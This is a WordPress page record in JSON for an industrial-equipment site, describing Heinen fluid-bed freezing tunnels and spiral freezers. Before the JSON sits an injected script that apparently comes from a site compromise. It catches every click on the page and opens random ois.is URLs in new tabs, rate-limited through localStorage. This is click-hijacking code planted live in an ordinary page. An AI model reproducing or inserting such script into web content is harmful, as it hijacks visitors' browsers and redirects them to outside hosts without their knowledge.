<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":376,"date":"2017-08-02T09:50:46","date_gmt":"2017-08-02T05:20:46","guid":{"rendered":"http:\/\/saeed-moshaver.com\/en\/?page_id=376"},"modified":"2017-08-02T09:50:46","modified_gmt":"2017-08-02T05:20:46","slug":"heinen","status":"publish","type":"page","link":"http:\/\/saeed-moshaver.com\/en\/heinen\/","title":{"rendered":"heinen"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]<span id=\"result_box\" class=\"\" lang=\"en\"><strong>heinen:<\/strong> Freezing tunnel built in Germany (fluid bed)<\/span><\/p>\n<ul>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Varied user for the perfect variety of vegetables and fruits<\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">Preheating and main cooler<\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\"><span class=\"\">PLC control device<\/span><\/span><\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong><span id=\"result_box\" class=\"short_text\" lang=\"en\"><span class=\"\">Spiral Freezer Made in Germany<\/span><\/span><\/strong><\/p>\n<ul>\n<li><span id=\"result_box\" class=\"\" lang=\"en\">To freeze meat and meat products and fish<\/span><\/li>\n<li><span id=\"result_box\" class=\"\" lang=\"en\"><span class=\"\">And bread and confectionery industries<\/span><\/span><\/li>\n<\/ul>\n<p><span id=\"result_box\" class=\"short_text\" lang=\"en\"><span class=\"\">Click for <a href=\"http:\/\/www.heinen.biz\/\">more info \u2026.<\/a><\/span><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" class=\"aligncenter wp-image-239 size-medium\" src=\"http:\/\/saeed-moshaver.com\/wp-content\/uploads\/2017\/07\/heinen_logo-300x93.png\" alt=\"\" width=\"300\" height=\"93\" srcset=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/heinen_logo-300x93.png 300w, http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/heinen_logo.png 512w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>[\/vc_column_text][vc_row_inner][vc_column_inner][vc_single_image image=&#8221;231&#8243; img_size=&#8221;300*300&#8243; alignment=&#8221;center&#8221; style=&#8221;vc_box_border&#8221; border_color=&#8221;black&#8221; onclick=&#8221;link_image&#8221; css_animation=&#8221;top-to-bottom&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][vc_column width=&#8221;1\/4&#8243;][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column width=&#8221;1\/4&#8243;][\/vc_column][vc_column width=&#8221;1\/2&#8243;][vc_column_text]heinen: Freezing tunnel built in Germany (fluid bed) Varied user for the perfect variety of vegetables and fruits Preheating and main cooler PLC control device \u00a0 Spiral Freezer Made in Germany To freeze meat and meat products and fish And bread and confectionery industries Click for more info \u2026. &nbsp; [\/vc_column_text][vc_row_inner][vc_column_inner][vc_single_image image=&#8221;231&#8243; img_size=&#8221;300*300&#8243; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/376"}],"collection":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/comments?post=376"}],"version-history":[{"count":1,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/376\/revisions"}],"predecessor-version":[{"id":377,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/376\/revisions\/377"}],"wp:attachment":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/media?parent=376"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}